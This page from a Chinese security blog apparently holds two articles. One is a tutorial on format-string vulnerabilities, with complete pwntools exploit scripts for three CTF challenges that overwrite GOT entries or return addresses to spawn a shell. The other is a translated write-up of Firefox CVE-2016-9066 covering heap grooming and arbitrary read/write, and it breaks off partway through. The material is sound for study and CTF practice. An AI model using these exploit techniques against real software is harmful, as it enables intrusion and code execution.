格式化字符串漏洞现在已经越来越少见了,但在CTF比赛中还是会经常遇到。通过学习这种类型的漏洞利用,可以促使我们触类旁通其他漏洞类型,从而进一步加深对软件脆弱性基本概念的理解。本文简要介绍了格式化字符串漏洞的基本原理,然后从三个方面介绍了该漏洞类型的常见利用方式,并配以相应CTF赛题作为例子。若文中有错漏,请留言指出或发邮件至tianyi20161209@163.com与我讨论。整个文章计划分两篇,分别为“有binary时的利用”和“无binary时的利用”。

最近发现格式化字符串相关的内容很多,但想想这篇文章是从1月份就着手开始利用业余时间写的,也花了很多心思,如果登出,希望能够帮助到与我一样摸索前行的朋友。


2、格式化字符串漏洞基本原理

格式化字符串漏洞在通用漏洞类型库CWE中的编号是134,其解释为“软件使用了格式化字符串作为参数,且该格式化字符串来自外部输入”。会触发该漏洞的函数很有限,主要就是printf、sprintf、fprintf等print家族函数。介绍格式化字符串原理的文章有很多,我这里就以printf函数为例,简单回顾其中的要点。

printf()函数的一般形式为printf("format",输出表列),其第一个参数就是格式化字符串,用来告诉程序以什么格式进行输出。正常情况下,我们是这样使用的:

charstr[100]; scanf("%s",str); printf("%s",str);

但也会有人这么用:

charstr[100]; scanf("%s",str); printf(str)

也许代码编写者的本意只是单纯打印一段字符(如“helloworld”),但如果这段字符串来源于外部用户可控的输入,则该用户完全可以在字符串中嵌入格式化字符(如%s)。那么,由于printf允许参数个数不固定,故printf会自动将这段字符当作format参数,而用其后内存中的数据匹配format参数。


【技术分享】格式化字符串漏洞利用小结(一)

以上图为例,假设调用printf(str)时的栈是这样的。

1)如str就是“helloworld”,则直接输出“helloworld”;

2)如str是format,比如是%2$x,则输出偏移2处的16进制数据0xdeadbeef。

通过组合变换格式化字符串参数,我们可以读取任意偏移处的数据或向任意偏移处写数据,从而达到利用格式化字符串漏洞的作用。


3、基本的格式化字符串参数

%c:输出字符,配上%n可用于向指定地址写数据。

%d:输出十进制整数,配上%n可用于向指定地址写数据。

%x:输出16进制数据,如%i$x表示要泄漏偏移i处4字节长的16进制数据,%i$lx表示要泄漏偏移i处8字节长的16进制数据,32bit和64bit环境下一样。

%p:输出16进制数据,与%x基本一样,只是附加了前缀0x,在32bit下输出4字节,在64bit下输出8字节,可通过输出字节的长度来判断目标环境是32bit还是64bit。

%s:输出的内容是字符串,即将偏移处指针指向的字符串输出,如%i$s表示输出偏移i处地址所指向的字符串,在32bit和64bit环境下一样,可用于读取GOT表等信息。

%n:将%n之前printf已经打印的字符个数赋值给偏移处指针所指向的地址位置,如%100x10$n表示将0x64写入偏移10处保存的指针所指向的地址(4字节),而%$hn表示写入的地址空间为2字节,%$hhn表示写入的地址空间为1字节,%$lln表示写入的地址空间为8字节,在32bit和64bit环境下一样。有时,直接写4字节会导致程序崩溃或等候时间过长,可以通过%$hn或%$hhn来适时调整。

%n是通过格式化字符串漏洞改变程序流程的关键方式,而其他格式化字符串参数可用于读取信息或配合%n写数据。


4、有binary且格式化字符串在栈中

由于格式化字符串就保存在栈中,可以比较方便地利用%n来写入数据以修改控制流,以下分别给出32bit环境下和64bit环境下的例子。

4.1 CCTF-pwn3

本题只有NX一个安全措施,且为32位程序。

通过IDA逆向及初步调试,可以知道以下两点。

用户名是“sysbdmin”字符串中每个字母的ascii码减1,即rxraclhm;

在打印(即get功能,sub_080487F6函数)put(本程序功能,不是libc的puts)上去的文件内容时存在格式化字符串漏洞,且格式化字符串保存在栈中,偏移为7。

主要利用思路就是先通过格式化字符串漏洞泄露出libc版本,从而得到system函数调用地址;然后将该地址写到puts函数GOT表项中,由于程序dir功能会调用puts,且调用参数是用户可控的,故当我们以“/bin/sh”作为参数调用puts(也就是dir功能)时,其实就是以“/bin/sh”为参数调用system,也就实现了getshell。

接下来,简要介绍一下具体的利用过程。

首先,需要通过格式化字符串漏洞泄漏libc地址信息,间接得到libc版本。


【技术分享】格式化字符串漏洞利用小结(一)

上图是sub_080487F6函数中存在格式化字符串漏洞的printf调用前的状况。左下角数据区的红框表明了触发脆弱性的过程,即要先put上去一个文件名和对应的文件内容,然后通过get功能触发脆弱性(再次触发漏洞也要经历这个过程)。而右下角栈区的紫色框是偏移7,保存着我们输入的内容。如果我们输入的内容是puts函数的GOT地址,则通过%s参数就能利用漏洞打印出GOT表项中保存的puts函数的实际调用地址,之前puts函数已被程序调用多次了。这样,我们就可以通过puts函数实际地址的后12bit来查找libc-database,从而获得具体的libc库版本,以及对应的system的实际调用地址,具体方式我放到第三个例子中来讲,大家也可以先跳过去看。

然后,我们要将system的实际调用地址覆写到puts的GOT处,这就要用到%n参数了。假设system函数的地址为0xb7553d00,那么我们可以1个字节1个字节地覆写,以防止一次print字符太多而导致程序崩溃。以上面地址为例,三次覆写的payload是这样的,0xb7不用覆写,与puts一样。

payload=p32(putsGOT)+"%"+str(256-4)+"x%7$hhn" payload=p32(putsGOT+1)+"%"+str(((systemAddress&0x0000FF00)>>8)-4)+"x%7$hhn" payload=p32(putsGOT+2)+"%"+str(((systemAddress&0x00FF0000)>>16)-4)+"x%7$hhn"

比较特殊的是第一次覆写,要写入的是0x00,我们打印256(0x100)字节的话,正好实现了0x00的写入。而后面两次覆写只需要注意将puts函数的GOT地址加1就可以实现覆写一字节了。

最后,我们通过调用dir功能来实现system的间接调用。需要注意的是,dir功能是利用puts函数来打印已输入的所有文件名字符串拼接后的结果。如果想实现system(“/bin/sh”),就需要让前几次输入的文件名拼接之和正好是“/bin/sh”。具体漏洞利用代码如下。

frompwnimport* importbinascii defput(name,content): p.sendline("put") printp.recvuntil(":") p.sendline(name) printp.recvuntil(":") p.sendline(content) printp.recvuntil(">") defget(name): p.sendline("get") printp.recvuntil(":") p.sendline(name) data=p.recvuntil(">") printhexdump(data) returndata p=process("./pwn3") elf=ELF("./pwn3") putsGOT=elf.got['puts'] mallocGOT=elf.got['malloc'] print"----------1.leakaddress----------" printp.recvuntil(":") p.sendline("rxraclhm") printp.recvuntil(">") put("/sh",p32(putsGOT)+".%7$s") data=get("/sh") putsAddress=binascii.hexlify(data[5:9][::-1]) systemOffset=0x3ad00#这是我本地libc的偏移 putsOffset=0x61ce0 binshOffset=0x15c7e8 systemAddress=int(putsAddress,16)-putsOffset+systemOffset binshAddress=int(putsAddress,16)-putsOffset+binshOffset print"----------2.pointputs@gottosystemAddress----------" payload=p32(putsGOT)+"%"+str(256-4)+"x%7$hhn" put("n",payload) get("n") payload=p32(putsGOT+1)+"%"+str(((systemAddress&0x0000FF00)>>8)-4)+"x%7$hhn" put("i",payload) get("i") payload=p32(putsGOT+2)+"%"+str(((systemAddress&0x00FF0000)>>16)-4)+"x%7$hhn" put("/b",payload)#四次put的文件名拼接后正好是“/bin/sh”。 get("/b") p.sendline("dir") p.interactive()

4.2 三个白帽-来PWN我一下好吗

本题应该是有多个漏洞多种解法的,利用格式化字符串只是其中一种。程序为64位,在64位下,函数前6个参数依次保存在rdi、rsi、rdx、rcx、r8和r9寄存器中(也就是说,若使用”x$”,当1<=x<=6时,指向的应该依次是上述这6个寄存器中保存的数值),而从第7个参数开始,依然会保存在栈中。故若使用”x$”,则从x=7开始,我们就可以指向栈中数据了。

通过IDA逆向出来的源代码和动态调试,我们知道包含格式化字符串漏洞的脆弱点在0x400B07函数处,那么先来确定可控输入的偏移位置。


【技术分享】格式化字符串漏洞利用小结(一)

通过%$x测试几次即可知道,输入的用户名偏移是8。有了这个基准位置,就可以考虑往栈上写入数据了,接下来的问题就变成了两件事,即写什么和怎么写。

写什么比较好解决。通过IDA逆向的交叉引用功能,我们在0x4008a6处发现了一段调用system函数的现成getshell代码。这样的话,我们需要做的就是把控制流转向0x4008a6。


【技术分享】格式化字符串漏洞利用小结(一)

下面要解决怎么写的问题了。如下图所示,绿框中的是输入的用户名字符串,其偏移位置是8,则偏移7(第一个红框)处是当前函数0x400b07的返回地址,而偏移15(第二个红框)处是当前函数的上层函数0x400d2b的返回地址。


【技术分享】格式化字符串漏洞利用小结(一)

我们希望将第一个红框中的0x400d74修改为0x4008a6,这就需要用到%n。在0x400B07函数中,我们可控的输出有两次,分别是输出用户名和输出密码,分别对应了从8-12这5个偏移位置。其中,偏移8-10对应用户名,10-12对应密码,而偏移10由用户名和密码共享,各占4个字节。

对于用户名,输入上图中第一个红框所对应的栈内地址,图中是0x7ffc41428068,但由于每次运行时栈内地址都会发生变化,故需动态获取。

对于密码,输入“%2214x%8$hn”,其中,2214是0x8a6的10进制,而%8$hn表示将前面输出的字符数(即2214)写入偏移8处储存的栈地址所指向空间的低两字节处,即修改0x0d74为0x08a6;若用n,则%2214x需改为%4196518x,即需要输出4196518个字符,开销太大,特别是在远程攻击时,很可能导致连接断掉。

分析到这里,利用代码的流程就清晰了,需要进行三次输入。第一次输入用来获取栈地址,我们通过用户名让printf输出偏移6处保存的栈地址,该栈地址与偏移7所在的栈地址的差值是固定的,即0x38。第二次输入时,我们将用户名设置为偏移7所在的栈地址(即上一步中,减去0x38得到的那个值),将密码设置为“%2214x%8$hn”,即可实现对偏移8处所保存栈地址指向的空间的低两字节的修改,完整利用代码如下。

frompwnimport* p=process("./pwnme_k0") print"-----getstackaddress-----" printp.recvuntil("username(maxlenth:20):\n") p.send("abcd.%6$lx") printp.recvline() p.sendline("1234") printp.recvuntil(">") p.sendline("1") tmpstackaddress=p.recvline()[:-5][5:] stackaddress=int(tmpstackaddress,16)-0x38 print"-----insertformatstring-----" printp.recvuntil(">") p.sendline("2") printp.recvline() p.sendline(p64(stackaddress)) printp.readline() p.sendline("%2214x%8$hn") printp.recvuntil(">") print"-----exploit-----" p.sendline("1") p.interactive()

5、有binary且格式化字符串不在栈中

由于格式化字符串是放在堆上的,不能像前文在栈中保存那样直接修改函数返回地址,只能想办法构造一个跳板来实现利用。

5.1 CSAW2015-contacts

本题有nx和canary两个安全措施,栈上不可执行代码。


【技术分享】格式化字符串漏洞利用小结(一)

通过查看IDA逆向出的代码,可知sub_8048BD1是具体的脆弱函数(如上图所示,sub_8048C29是其上层函数),其最后一个printf在打印description时存在格式化字符串漏洞,我们这里调试确认一下。


【技术分享】格式化字符串漏洞利用小结(一)

如上图所示,当创建一个新帐户,并为description赋值“aaaa.%1$x.%2$x”时,程序打印出了栈中的内容,说明确实存在格式化字符串漏洞;且偏移11处(上图堆栈视图的第二个红框)指向了保存在堆中的description字段内容,而偏移31处指向了整个程序的main函数在返回“__libc_start_main”函数时的地址。当然,这肯定不是一次就能知道的,我也是在多次调试后才整理出来,在这里把途径简要描述一下。

从上面的调试可知以下几点:

题目没提供libc库文件也没直接将getshell功能的函数编译进去,那我们只能自己想办法获得正确的libc库文件,好在我们有返回“__libc_start_main”函数时的地址。

格式化字符串是放在堆上的,不能像栈中保存那样直接修改函数返回地址,只能想办法构造一个跳板。

1、确定libc库内地址

首先,我们来解决第一个问题。

之所以想获得libc库文件,是因为栈不可执行,所以希望调用system来获得shell。

niklasb的libc-database可以根据main函数返回__libc_start_main函数的返回地址的后12bit来确定libc版本,需要下载这个软件并运行get文件来获得最新的libc-symbol库。libc-database的原理就是遍历db文件夹下所有libc文件的symbol并比对最后12bit来确定libc版本。除了所有libc库函数的调用地址外,还特别加入了__libc_start_main_ret和“/bin/sh”字符串地址。我这里得到的“__libc_start_main_ret”的后12bit是70e,如上图所示。

root@kali:~/Desktop/libc-database-master#./find__libc_start_main_ret70e archive-glibc(idlibc6-i386_2.21-0ubuntu5_amd64)

运行如上命令,得到libc版本为2.21(这是我本地的libc版本),从而确定了system和“/bin/sh”字符串的偏移分别是0x3ad00和0x15c7e8。可以通过

./dumplibc6-i386_2.21-0ubuntu5_amd64

来获得该libc文件的常见偏移,如system、/bin/sh等。

2、构造payload

此时,根据已知信息,可以考虑在栈上布置如下代码。

payload=%11$x+p32(system)+‘AAAA’+p32(binsh)

再次创建contacts记录,在description字段输入payload。其中,%11$x是用来泄漏该description保存地址的,为什么是11前面讲过了;而后面的部分与栈溢出时布置参数的方式很像,一会儿我们就通过堆栈互换,将esp指向这里,从而调用system。其实,%11$x也可以放到p32(binsh)后面,但因为我这里的system调用地址的最后1字节是”\x00”,如果将%11$x放到最后,则printf由于截断就不会打印出description保存地址了。

此外,由于此时我们已经录入两个contact,故在利用程序的display功能打印数据时要考虑这个因素。

3、利用跳板执行堆上的payload

堆上的payload已经安排好了,但如何才能执行到呢?


【技术分享】格式化字符串漏洞利用小结(一)

这里就要%$n出场了,利用它将payload地址写到栈上,从而实现堆栈互换。上图是存在格式化字符串漏洞的printf代码即将运行前的现场。其中,右下角栈视图红色框中是偏移6的位置,指向了下面紫色框,而这个紫色框是上层函数的ebp,本来指向的是再上层函数(也就是main函数)的ebp,但我们希望让其指向堆中的payload。这样,当紫色框中的地址被载入ebp时,也就是main程序返回时,就可以通过leave指令实现堆栈互换,从而执行堆中的payload了。这里有点绕,偏移6处改写的是紫色框中的地址,而这个地址真正用到时,是main函数返回时,也就是我们选择contact的功能5时。

leave指令相当于

movesp,ebp popebp

这两条指令,也就是将esp指向ebp的位置。经过调试可知,这里的leave指令是将esp指向了(ebp+4)的位置,因此在第三次创建contact记录时,我们插入如下description:

%(int(payload地址-4,16))x%6$n

其表示,将打印出来的字符数,即int(payload地址-4,16)写入偏移6指向的ebp处,即上图中的紫色框处(将原先指向上层函数的地址改成指向堆中payload地址)。这样,当我们接下来选择功能5退出contact程序时,在执行leave指令时,会实现堆栈互换,从而将esp指向了堆中的payload,结果如下图所示。当执行ret指令时,要返回的地址,也就是esp指向的地址就是我们布置的system的调用地址。


【技术分享】格式化字符串漏洞利用小结(一)

具体代码如下:

p=process('./contacts') print"----------1fmtstr:leakaddress----------" printp.recvuntil(">>>") p.sendline("1") printp.recvuntil("Name:") p.sendline("aaaaaa") printp.recvuntil("No:") p.sendline("111111") printp.recvuntil("description:") p.sendline("1000") printp.readline() p.sendline("pppp.%31$x") printp.recvuntil(">>>") p.sendline("4") description=p.recvuntil(">>>").split('Description:')[1].split('Menu')[0].strip() systemOffset=0x3ad00 libcretOffset=0x1870e binshOffset=0x15c7e8 libcretAddress=int(description.split('.')[1],16) binshAddress=libcretAddress-(libcretOffset-binshOffset) systemAddress=libcretAddress+(systemOffset-libcretOffset) print"----------2fmtstr:insertpayload----------" payload="xxxxx.%11$x"+p32(systemAddress)+"AAAA"+p32(binshAddress) p.sendline("1") printp.recvuntil("Name:") p.sendline("bbbbbb") printp.recvuntil("No:") p.sendline("222222") printp.recvuntil("description:") p.sendline("1000") printp.readline() p.sendline(payload) printp.recvuntil(">>>") p.sendline("4") printp.recvuntil("xxxxx.") description=p.recvuntil(">>>") payloadAddress=description[0:7] print"----------3fmtstr:exploit----------" p.sendline("1") printp.recvuntil("Name:") p.sendline("cccccc") printp.recvuntil("No:") p.sendline("333333") printp.recvuntil("description:") p.sendline("1000") printp.readline() tmp=int(payloadAddress,16)-4+11 p.sendline("%"+str(tmp)+"x%6$n") printp.recvuntil(">>>") p.sendline("4") printp.recvuntil(">>>") p.sendline("5") p.interactive()

参考文章

http://www.cnblogs.com/Ox9A82/

http://www.tuicool.com/articles/iq6Jfe

http://matshao.com/2016/07/13/%E4%B8%89%E4%B8%AA%E7%99%BD%E5%B8%BD-%E6%9D%A5-PWN-%E6%88%91%E4%B8%80%E4%B8%8B%E5%A5%BD%E5%90%97%E7%AC%AC%E4%BA%8C%E6%9C%9F/


附件

https://pan.baidu.com/s/1pLM2Pfl

【技术分享】格式化字符串漏洞利用小结(一)
【技术分享】格式化字符串漏洞利用小结(一)
本文由 安全客 原创发布,如需转载请注明来源及本文地址。
本文地址:http://bobao.360.cn/learning/detail/3654.html

【漏洞分析】Firefox一个整数溢出导致的mmap区域越界写利用

$
0
0
【漏洞分析】Firefox一个整数溢出导致的mmap区域越界写利用

2017-03-24 14:00:48
来源:saelo.github.io 作者:beswing

阅读:241次
点赞(0)
收藏





【漏洞分析】Firefox一个整数溢出导致的mmap区域越界写利用

翻译:beswing

稿费:200RMB

投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿


TL;DR
这个文章将探讨一个很有趣的漏洞---CVE-2016-9066 ,一个很简单但是很有趣的可以导致代码执行的Firefox漏洞。

中的代码中存在一个整数溢出漏洞,导致加载的mmap区域越界。有一种利用这一点的方法是,将JavaScrip的堆放在缓冲器后面,随后溢出到其元数据中以创建假空闲单元。然后可以将ArrayBuffer创建的实例放在另一个ArrayBuffer的内联数据中。然后可以任意修改内部ArrayBuffer,产生任意的读和写。并可以很容易的实现代码的执行。完整的漏洞报告可以在这里找到,这对MacOS 10.11.6上的Firefox 48.0.1进行了测试。Bugzilla的漏洞报告可以在这里找到。


The Vulnerability

下面的代码用于加载脚本标记的数据:
result nsScriptLoadHandler::TryDecodeRawData(constuint8_t*aData, uint32_taDataLength, boolaEndOfStream) { int32_tsrcLen=aDataLength; constchar*src=reinterpret_cast<constchar*>(aData); int32_tdstLen; nsresultrv= mDecoder->GetMaxLength(src,srcLen,&dstLen); NS_ENSURE_SUCCESS(rv,rv); uint32_thaveRead=mBuffer.length(); uint32_tcapacity=haveRead+dstLen; if(!mBuffer.reserve(capacity)){ returnNS_ERROR_OUT_OF_MEMORY; } rv=mDecoder->Convert(src, &srcLen, mBuffer.begin()+haveRead, &dstLen); NS_ENSURE_SUCCESS(rv,rv); haveRead+=dstLen; MOZ_ASSERT(haveRead<=capacity,"mDecoderproducedmoredatathanexpected"); MOZ_ALWAYS_TRUE(mBuffer.resizeUninitialized(haveRead)); returnNS_OK; }

当新数据从服务器到达时,代码将由OnIncrementalData调用。 这里的bug是一个简单的整数溢出,发生在服务器发送超过4GB的数据时。 在这种情况下, capacity将wrap around,并且调用mBuffer.reserve,但并不会以任何方式修改缓冲区。 mDecode->Convert然后在缓冲区的结尾写超过8GB的数据(数据在浏览器中存储为char16_t),这将由一个mmap块(一个普通的,很大的mmap 区块)支持下完成。

补丁也很简单:

uint32_t haveRead = mBuffer.length();
- uint32_t capacity = haveRead + dstLen;
- if (!mBuffer.reserve(capacity)) {
+
+ CheckedInt<uint32_t> capacity = haveRead;
+ capacity += dstLen;
+
+ if (!capacity.isValid() || !mBuffer.reserve(capacity.value())) {
return NS_ERROR_OUT_OF_MEMORY;
}

首先,看起来没有那么可靠。 例如,它需要发送和分配多个千兆字节的内存。 但是,我们会看到,该bug事实上可以被很可靠的利用的,并且在我的2015年版本的MacBook Pro上打开页面后大约一分钟内就能完成漏洞的触发。 我们现在将首先探讨如何利用这个bug在macOS上弹出一个计算器,然后提高漏洞利用的可靠性,并使用较少的带宽(我们将使用HTTP压缩数据)。


漏洞利用

#include<sys/mman.h> #include<stdio.h> constsize_tMAP_SIZE=0x100000;//1MB intmain() { char*chunk1=mmap(NULL,MAP_SIZE,PROT_READ|PROT_WRITE,MAP_ANONYMOUS|MAP_PRIVATE,-1,0); char*chunk2=mmap(NULL,MAP_SIZE,PROT_READ|PROT_WRITE,MAP_ANONYMOUS|MAP_PRIVATE,-1,0); printf("chunk1:%p-%p\n",chunk1,chunk1+MAP_SIZE); printf("chunk2:%p-%p\n",chunk2,chunk2+MAP_SIZE); return0; } 上面的程序的打印结果,能告诉我们能通过简单的mmap ,映射内存直到存有的空间都被填充,然后通过mmap分配一个内存块,来分配溢出缓冲区后面的东西。 要验证这一点,我们将执行以下操作:

加载脚本(包含payload.js,将导致溢出的代码) 和一些异步执行的JavaScrip代码(code.js,用来执行下面的步骤3和步骤5)

当浏览器请求payload.js时,让服务器回复Content-Length为0x100000001,但只发送数据的第一个0xffffffff字节

然后,让javascript代码分配多个足够大的(1GB)ArrayBuffers(内存不一定会使用,直到实际写入缓冲区)

让webserver发送payload.js的剩余两个字节

检查每个ArrayBuffer的前几个字节, 有一个应该包含由webserver发送数据

为了实现这一点,我们将需要在浏览器中运行的JavaScript代码和web服务器之间的某种同步原语。 为此,我在python的asyncio库上面写了一个小的web服务器 ,它包含一个方便的事件对象 ,用于同步协同。 创建两个全局事件可以向服务器发信号通知客户端代码已完成其当前任务,并且现在正在等待服务器执行下一步骤。 /sync的处理程序如下所示:

asyncdefsync(request,response): script_ready_event.set() awaitserver_done_event.wait() server_done_event.clear() response.send_header(200,{ 'Content-Type':'text/plain;charset=utf-8', 'Content-Length':'2' }) response.write(b'OK') awaitresponse.drain()

获取目标 Hunting for Target Objects

因为malloc (以及C ++中的new操作符)在某些时候将使用mmap请求更多的内存,所以分配给它们的任何内容都可能对我们的漏洞利用有帮助。 我走了一条不同的路线。 我最初想检查是否可能溢出到JavaScript对象,例如损坏数组的长度或类似的东西。 因此,我开始探索JavaScript分配器以查看JSObject存储在哪里。 Spidermonkey(Firefox中的JavaScript引擎)将JSObjects存储在两个独立的区域中:

终止堆。 更长的活动中的对象以及几个选定的对象类型在这里分配。 这是一个相当经典的堆,跟踪自由点,然后重新用于之后的分配。

The Nursery。 这是一个包含短暂对象的内存区域。 大多数JSObject在这里首先被分配,然后在下一个GC循环期间被移动到永久堆中(这包括更新它们的所有指针,因此需要gargabe收集器知道它的对象的所有指针)。 Nursery不需要自由列表或类似的:在GC循环之后,Nursery简单地被声明为自由的,因为所有活动的对象已经被移出它的区域。

有关Spidermonkey内部的更深入的讨论,请参阅这篇文章。

堆中的对象存储在名为Arenas的容器中:

/* *ArenasaretheallocationunitsofthetenuredheapintheGC.Anarena *is4kiBinsizeand4kiB-aligned.Itstartswithseveralheaderfields *followedbysomebytesofpadding.Theremainderofthearenaisfilled *withGCthingsofaparticularAllocKind.Thepaddingensuresthatthe *GCthingarrayendsexactlyattheendofthearena: * *<---------------------------------------------->=ArenaSizebytes *+---------------+---------+----+----+-----+----+ *|headerfields|padding|T0|T1|...|Tn| *+---------------+---------+----+----+-----+----+ *<------------------------->=firstthingoffset */ classArena { staticJS_FRIEND_DATA(constuint32_t)ThingSizes[]; staticJS_FRIEND_DATA(constuint32_t)FirstThingOffsets[]; staticJS_FRIEND_DATA(constuint32_t)ThingsPerArena[]; /* *Thefirstspanoffreethingsinthearena.Mostofthesespansare *storedasoffsetsinfreeregionsofthedataarray,andmostoperations *onFreeSpanstakeanArenapointerforsafety.However,theFreeSpans *usedforallocationarestoredhere,atthestartofanArena,anduse *theirownaddresstograbthenextspanwithinthesameArena. */ FreeSpanfirstFreeSpan; //...

注释已经给出了一个相当好的概括: Arenas只是容器对象,其中分配了相同大小的JavaScript对象。 它们位于容器对象( Chunk结构)内部 ,该结构本身通过mmap直接分配。 有趣的部分是Arena类的firstFreeSpan成员:它是Arena对象的第一个成员(并且因此位于mmap-ed区域的开始),并且基本上指示该Arena内的第一个自由单元的索引。 这是FreeSpan实例的样子:

classFreeSpan { uint16_tfirst; uint16_tlast; //methodsfollowing }

first和last是到Arena的字节索引,指示freelist的头部。 这打开了一个有趣的方式来利用这个bug:通过溢出到Arena的firstFreeSpan字段,我们可以分配一个对象在另一个对象内,最好在某种类型的可访问的内联数据内。 然后我们可以任意修改“内部”对象。

这种技术有几个好处:

能够在Arena内部的选定偏移处分配JavaScript对象直接产生存储器读/写,正如我们将看到的

我们只需要溢出以下块的4个字节,因此不会损坏任何指针或其他敏感数据

Arenas / Chunks可以通过分配大量的JavaScript对象

事实证明,大小为96字节的ArrayBuffer对象将把它们的数据存储在对象header之后。 他们也将跳过nursery ,因此位于Arena内。 这使得它们是我们的漏洞利用的理想选择。 我们会这样

分配大量的ArrayBuffer与96字节的存储

溢出并创建一个假的自由单元格内的竞技场下面我们的缓冲区

分配更多的相同大小的ArrayBuffer对象,看看它们中的一个是否放在另一个ArrayBuffer的数据内(只是扫描所有“old”ArrayBuffers为非零内容)


对GC的需要

不幸的是,这不是那么容易:为了让Spidermonkey在我们的目标(损坏) Arena中分配一个对象, Arena必须以前被标记为(部分)free。 这意味着我们需要在每个竞技场至少释放一个slot。 我们可以通过删除每25个ArrayBuffer(因为每个Arena有25个),然后强制垃圾收集机制。

Spidermonkey由于各种 原因触发垃圾收集。 似乎最容易触发的是TOO_MUCH_MALLOC :它只是在通过malloc分配了一定数量的字节时被触发。 因此,以下代码足以触发垃圾回收:

functiongc(){ constmaxMallocBytes=128*MB; for(vari=0;i<3;i++){ varx=newArrayBuffer(maxMallocBytes); } }

然后,我们的目标竞技场将被放到自由列表,我们随后的覆盖将损坏它。 从损坏的竞技场的下一个分配将返回ArrayBuffer对象的内联数据内的(假的)单元格。


(可选读数)压缩GC

其实,这有点复杂。 存在称为压缩GC的GC模式,其将从多个部分填充的arenas移动对象以填充其他arenas。 这减少了内部碎片,并帮助释放整个块,以便它们可以返回到操作系统。 然而,对于我们来说,压缩GC会很麻烦,因为它可能填补我们在目标arenas上创建的洞。 以下代码用于确定是否应运行压缩GC:

bool GCRuntime::shouldCompact() { //CompactonshrinkingGCifenabled,butskipcompactinginincremental //GCsifwearecurrentlyanimating. returninvocationKind==GC_SHRINK&&isCompactingGCEnabled()&& (!isIncremental||rt->lastAnimationTime+PRMJ_USEC_PER_SEC<PRMJ_Now()); }

看看代码应该有办法防止压缩GC发生(例如通过执行一些animations)。 看起来我们很幸运:我们的gc函数从上面将触发Spidermonkey中的下面的代码路径,从而阻止压缩GC,因为invocationKind将是GC_NORMAL而不是GC_SHRINK 。

bool GCRuntime::gcIfRequested() { //ThismethodreturnswhetheramajorGCwasperformed. if(minorGCRequested()) minorGC(minorGCTriggerReason); if(majorGCRequested()){ if(!isIncrementalGCInProgress()) startGC(GC_NORMAL,majorGCTriggerReason);//<--wetriggerthiscodepath else gcSlice(majorGCTriggerReason); returntrue; } returnfalse; }

Writing an Exploit 完成攻击脚本的编写

这一点上,我们所有的部分在一起,实际上可以写一个利用。 一旦我们创建了假的空闲单元并在其中分配了一个ArrayBuffer,我们将看到之前分配的ArrayBuffer之一现在包含数据。 Spidermonkey中的ArrayBuffer对象大致如下:

//FromJSObject GCPtrObjectGroupgroup_; //FromShapedObject GCPtrShapeshape_; //FromNativeObject HeapSlots*slots_; HeapSlots*elements_; //SlotoffsetsfromArrayBufferObject staticconstuint8_tDATA_SLOT=0; staticconstuint8_tBYTE_LENGTH_SLOT=1; staticconstuint8_tFIRST_VIEW_SLOT=2; staticconstuint8_tFLAGS_SLOT=3;

XXX_SLOT常数确定对象从对象开始的偏移量。 因此,数据指针( DATA_SLOT )将存储在addrof(ArrayBuffer) + sizeof(ArrayBuffer) 。

我们现在可以构造以下exploit

从绝对内存地址读取:我们将DATA_SLOT设置为所需的地址,并从内部ArrayBuffer读取

写入绝对内存地址:与上面相同,但这次我们写入内部ArrayBuffer

泄漏JavaScript对象的地址:为此,我们设置其地址我们想知道作为内部ArrayBuffer的属性的对象,然后通过我们现有的读基元从slots_指针读取地址


进一步

为了避免在下一个GC循环期间崩溃浏览器进程,我们必须修复几件事:

ArrayBuffer在我们的exploit中的外部 ArrayBuffer之后,因为它将被内部 ArrayBuffer的数据损坏。 要解决这个问题,我们可以简单地将另一个ArrayBuffer对象复制到该位置

最初在我们的Arena中释放的Cell现在看起来像一个使用的Cell,并且将被收集器处理,导致崩溃,因为它已被其他数据覆盖(例如FreeSpan实例)。 我们可以通过恢复我们的Arena的原始firstFreeSpan字段来修复这个问题,将该Cell标记为空闲。


小结

将所有内容放在一起,以下步骤将给我们一个任意的读/写 :

插入脚本标记以加载有效负载,最终触发错误。

等待服务器发送高达2GB + 1字节的数据。 浏览器现在将分配最终的块,我们以后会溢出。 我们尝试使用ArrayBuffer对象填充现有的mmap孔,就像我们对第一个PoC所做的那样。

分配包含大小为96(最大大小的ArrayBuffers)的JavaScript Arenas(内存区域),因此数据仍然分配在对象后面,并希望其中一个放在我们即将溢出的缓冲区之后。 Mmap分配连续区域,所以这只能失败,如果我们没有分配足够的内存或如果别的东西分配那里。

让服务器总共发送所有内容到0xffffffff字节,完全填充当前块

在每个竞技场中释放一个ArrayBuffer,并尝试触发gargabe集合,以便将arenas插入到空闲列表中。

让服务器发送剩余的数据。 这将触发溢出并损坏其中一个场的内部自由列表(指示哪些单元未使用)。 修改freelist,使得第一自由单元位于竞技场中包含的ArrayBuffer之一的内联数据内。

分配更多ArrayBuffers。 如果一切工作到目前为止,其中一个将被分配在另一个ArrayBuffer的内联数据内部。 搜索该ArrayBuffer。

如果找到,则构造任意的存储器读/写原语。 我们现在可以修改内部ArrayBuffer的数据指针,所以这很容易。

修复损坏的对象,以便在我们的漏洞利用完成后保持进程的活动。


现在我们可以弹出计算器了

行自定义代码的一个简单方法是滥用JIT区域 ,但是,这种技术(部分) 在Firefox中减轻 。 给定我们的开发原语(例如通过编写一个小ROP链并在那里传送控制),这可以被绕过,但是对于简单的PoC来说这似乎很复杂。

还有其他Firefox特有的技术,通过滥用特权JavaScript来获取代码执行,但这些需要对浏览器状态进行非常小的修改(例如,添加turn_off_all_security_so_that_viruses_can_take_over_this_computer首选项)。

我结束了使用一些标准的CTF技巧来完成漏洞:寻找交叉引用libc函数接受一个字符串作为第一个参数(在这种情况下strcmp),我发现Date.toLocalFormat的Date.toLocalFormat ,并注意到它转换其第一参数从JSString到C字符串 ,然后它用作strcmp的第一个参数 。 因此,我们可以简单地用system的地址替换strcmp的GOT条目,并执行data_obj.toLocaleFormat("open -a /Applications/Calculator.app");. Done :)


改进 Exploit

在这一点上,基本的攻击已经完成。 本节现在将描述如何使其更可靠和更少的带宽资源。

Adding Robustness

目前为止,我们的漏洞利用只是分配了一些非常大的ArrayBuffer实例(每个1GB)来填充现有的mmap空间,然后再分配大约另一个GB的js :: Arena实例来溢出。 因此,它假定浏览器堆操作在利用期间或多或少是确定性的。 由于这不一定是这种情况,我们希望使我们的漏洞更加健壮。

快速查看然后实现mozilla :: Vector类(用于保存脚本缓冲区)向我们展示了它在需要时使用realloc将其缓冲区的大小增加一倍。 由于jemalloc直接将mmap用于较大的块,这使我们有以下分配模式:

